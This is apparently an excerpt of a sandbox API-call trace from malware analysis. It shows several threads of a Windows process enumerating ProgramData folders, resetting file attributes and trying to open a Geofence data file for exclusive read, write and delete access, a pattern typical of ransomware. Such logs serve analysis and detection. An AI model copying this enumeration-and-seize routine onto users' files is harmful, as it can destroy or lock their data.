	[0090.470] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\dmrccache\\downloads\\*", lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0090.471] wcscmp (_String1=".", _String2=".") returned 0
	[0090.471] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.471] wcscmp (_String1="..", _String2=".") returned 1
	[0090.471] wcscmp (_String1="..", _String2="..") returned 0
	[0090.471] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.471] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0090.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d550) returned 1
	[0090.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894f00) returned 1
	[0090.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895720) returned 1
	[0090.471] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="downloads", cAlternateFileName="DOWNLO~1")) returned 0
	[0090.471] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502a798) returned 1
	[0090.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e0c8) returned 1
	[0090.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498d1b8) returned 1
	[0090.471] FindNextFileW (in: hFindFile=0x46a8718, lpFindFileData=0x2e26cc0 | out: lpFindFileData=0x2e26cc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f00595d, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x8f00595d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x8f00595d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dmrccache", cAlternateFileName="DMRCCA~1")) returned 0
	[0090.471] FindClose (in: hFindFile=0x46a8718 | out: hFindFile=0x46a8718) returned 1
	[0090.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e26cc0) returned 1
	[0090.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0090.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47533e0) returned 1

Thread:
	id = 1006
	os_tid = 0x1c28

	[0082.589] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2e04d38
	[0082.589] wcscpy (in: _Dest=0x2e04d38, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore"
	[0082.589] wcscat (in: _Dest=0x2e04d38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\"
	[0082.589] wcscat (in: _Dest=0x2e04d38, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*"
	[0082.589] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e278c8
	[0082.590] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\*", lpFindFileData=0x2e278c8 | out: lpFindFileData=0x2e278c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2129d74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ac28
	[0085.466] wcscmp (_String1=".", _String2=".") returned 0
	[0085.466] FindNextFileW (in: hFindFile=0x477ac28, lpFindFileData=0x2e278c8 | out: lpFindFileData=0x2e278c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2129d74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.466] wcscmp (_String1="..", _String2=".") returned 1
	[0085.466] wcscmp (_String1="..", _String2="..") returned 0
	[0085.466] FindNextFileW (in: hFindFile=0x477ac28, lpFindFileData=0x2e278c8 | out: lpFindFileData=0x2e278c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a24b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8fdd8c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0085.466] wcscmp (_String1="en-US", _String2=".") returned 1
	[0085.466] wcscmp (_String1="en-US", _String2="..") returned 1
	[0085.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bce10
	[0085.467] wcscpy (in: _Dest=0x47bce10, _Source="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore"
	[0085.467] wcscat (in: _Dest=0x47bce10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\"
	[0085.467] wcscat (in: _Dest=0x47bce10, _Source="en-US" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US"

Thread:
	id = 1007
	os_tid = 0x1c2c

	[0082.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47808b0
	[0082.590] wcscpy (in: _Dest=0x47808b0, _Source="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer"
	[0082.590] wcscat (in: _Dest=0x47808b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\"
	[0082.590] wcscat (in: _Dest=0x47808b0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*"
	[0082.590] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47582f8
	[0082.590] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aea8
	[0085.477] wcscmp (_String1=".", _String2=".") returned 0
	[0085.477] FindNextFileW (in: hFindFile=0x477aea8, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.477] wcscmp (_String1="..", _String2=".") returned 1
	[0085.477] wcscmp (_String1="..", _String2="..") returned 0
	[0085.477] FindNextFileW (in: hFindFile=0x477aea8, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc212a839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0085.477] FindClose (in: hFindFile=0x477aea8 | out: hFindFile=0x477aea8) returned 1
	[0085.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47582f8) returned 1
	[0085.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0085.477] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ff58) returned 1

Thread:
	id = 1008
	os_tid = 0x1c30

	[0082.591] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x52) returned 0x2daea68
	[0082.591] wcscpy (in: _Dest=0x2daea68, _Source="C:\\ProgramData\\Microsoft\\Windows\\LfSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc"
	[0082.591] wcscat (in: _Dest=0x2daea68, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\"
	[0082.591] wcscat (in: _Dest=0x2daea68, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\*"
	[0082.591] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4759b08
	[0082.591] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\*", lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8758
	[0082.591] wcscmp (_String1=".", _String2=".") returned 0
	[0082.591] FindNextFileW (in: hFindFile=0x46a8758, lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.591] wcscmp (_String1="..", _String2=".") returned 1
	[0082.591] wcscmp (_String1="..", _String2="..") returned 0
	[0082.591] FindNextFileW (in: hFindFile=0x46a8758, lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4120249, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0082.591] wcscmp (_String1="Cache", _String2=".") returned 1
	[0082.591] wcscmp (_String1="Cache", _String2="..") returned 1
	[0082.591] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780bf0
	[0082.591] wcscpy (in: _Dest=0x4780bf0, _Source="C:\\ProgramData\\Microsoft\\Windows\\LfSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc"
	[0082.591] wcscat (in: _Dest=0x4780bf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\"
	[0082.591] wcscat (in: _Dest=0x4780bf0, _Source="Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache"
	[0090.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x47342f8
	[0090.464] wcscpy (in: _Dest=0x47342f8, _Source="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache"
	[0090.464] wcscat (in: _Dest=0x47342f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache\\") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache\\"
	[0090.464] wcscat (in: _Dest=0x47342f8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache\\*"
	[0090.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502a798
	[0090.464] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Cache\\*", lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4120249, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.464] wcscmp (_String1=".", _String2=".") returned 0
	[0090.464] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4120249, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.464] wcscmp (_String1="..", _String2=".") returned 1
	[0090.464] wcscmp (_String1="..", _String2="..") returned 0
	[0090.464] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a798 | out: lpFindFileData=0x502a798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4120249, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf4120249, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf4120249, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.465] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502a798) returned 1
	[0090.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47342f8) returned 1
	[0090.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780bf0) returned 1
	[0090.465] FindNextFileW (in: hFindFile=0x46a8758, lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15ce201c, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xc212be41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15ce201c, ftLastWriteTime.dwHighDateTime=0x1d1a050, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Geofence", cAlternateFileName="")) returned 1
	[0090.465] wcscmp (_String1="Geofence", _String2=".") returned 1
	[0090.465] wcscmp (_String1="Geofence", _String2="..") returned 1
	[0090.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47342f8
	[0090.465] wcscpy (in: _Dest=0x47342f8, _Source="C:\\ProgramData\\Microsoft\\Windows\\LfSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc"
	[0090.465] wcscat (in: _Dest=0x47342f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\"
	[0090.465] wcscat (in: _Dest=0x47342f8, _Source="Geofence" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence"
	[0090.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47eca40
	[0090.465] wcscpy (in: _Dest=0x47eca40, _Source="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence"
	[0090.465] wcscat (in: _Dest=0x47eca40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\"
	[0090.465] wcscat (in: _Dest=0x47eca40, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\*"
	[0090.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d550
	[0090.465] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\*", lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15ce201c, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xc212be41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15ce201c, ftLastWriteTime.dwHighDateTime=0x1d1a050, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.465] wcscmp (_String1=".", _String2=".") returned 0
	[0090.465] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15ce201c, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xc212be41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15ce201c, ftLastWriteTime.dwHighDateTime=0x1d1a050, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.465] wcscmp (_String1="..", _String2=".") returned 1
	[0090.465] wcscmp (_String1="..", _String2="..") returned 0
	[0090.465] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15ce201c, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0x15ce201c, ftLastAccessTime.dwHighDateTime=0x1d1a050, ftLastWriteTime.dwLowDateTime=0x4baaeab, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="GeofenceApplicationID.dat", cAlternateFileName="GEOFEN~1.DAT")) returned 1
	[0090.465] wcscmp (_String1="GeofenceApplicationID.dat", _String2=".") returned 1
	[0090.466] wcscmp (_String1="GeofenceApplicationID.dat", _String2="..") returned 1
	[0090.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4894f00
	[0090.466] wcscpy (in: _Dest=0x4894f00, _Source="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence"
	[0090.466] wcscat (in: _Dest=0x4894f00, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\"
	[0090.466] wcscat (in: _Dest=0x4894f00, _Source="GeofenceApplicationID.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat"
	[0090.466] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat" (normalized: "c:\\programdata\\microsoft\\windows\\lfsvc\\geofence\\geofenceapplicationid.dat")) returned 0x20
	[0090.466] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat", dwFileAttributes=0x20) returned 1
	[0090.466] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat" (normalized: "c:\\programdata\\microsoft\\windows\\lfsvc\\geofence\\geofenceapplicationid.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.466] GetLastError () returned 0x20
	[0090.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8) returned 0x2d75dd0
	[0090.466] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0090.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d75dd0) returned 1
	[0090.466] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d79a40, Size=0x20) returned 0x4731e48
	[0090.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895680
	[0090.466] wcscpy (in: _Dest=0x4895680, _Source="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat") returned="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat"
	[0090.466] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\LfSvc\\Geofence\\GeofenceApplicationID.dat", dwFileAttributes=0x20) returned 1
	[0090.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894f00) returned 1
	[0090.467] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502d550 | out: lpFindFileData=0x502d550*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15ce201c, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0x15ce201c, ftLastAccessTime.dwHighDateTime=0x1d1a050, ftLastWriteTime.dwLowDateTime=0x4baaeab, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="GeofenceApplicationID.dat", cAlternateFileName="GEOFEN~1.DAT")) returned 0
	[0090.467] FindClose (in: hFindFile=0x477a7a8 | out: hFindFile=0x477a7a8) returned 1
	[0090.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d550) returned 1
	[0090.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eca40) returned 1
	[0090.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47342f8) returned 1
	[0090.467] FindNextFileW (in: hFindFile=0x46a8758, lpFindFileData=0x4759b08 | out: lpFindFileData=0x4759b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15ce201c, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xc212be41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x15ce201c, ftLastWriteTime.dwHighDateTime=0x1d1a050, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Geofence", cAlternateFileName="")) returned 0
	[0090.467] FindClose (in: hFindFile=0x46a8758 | out: hFindFile=0x46a8758) returned 1
	[0090.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4759b08) returned 1
	[0090.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daea68) returned 1
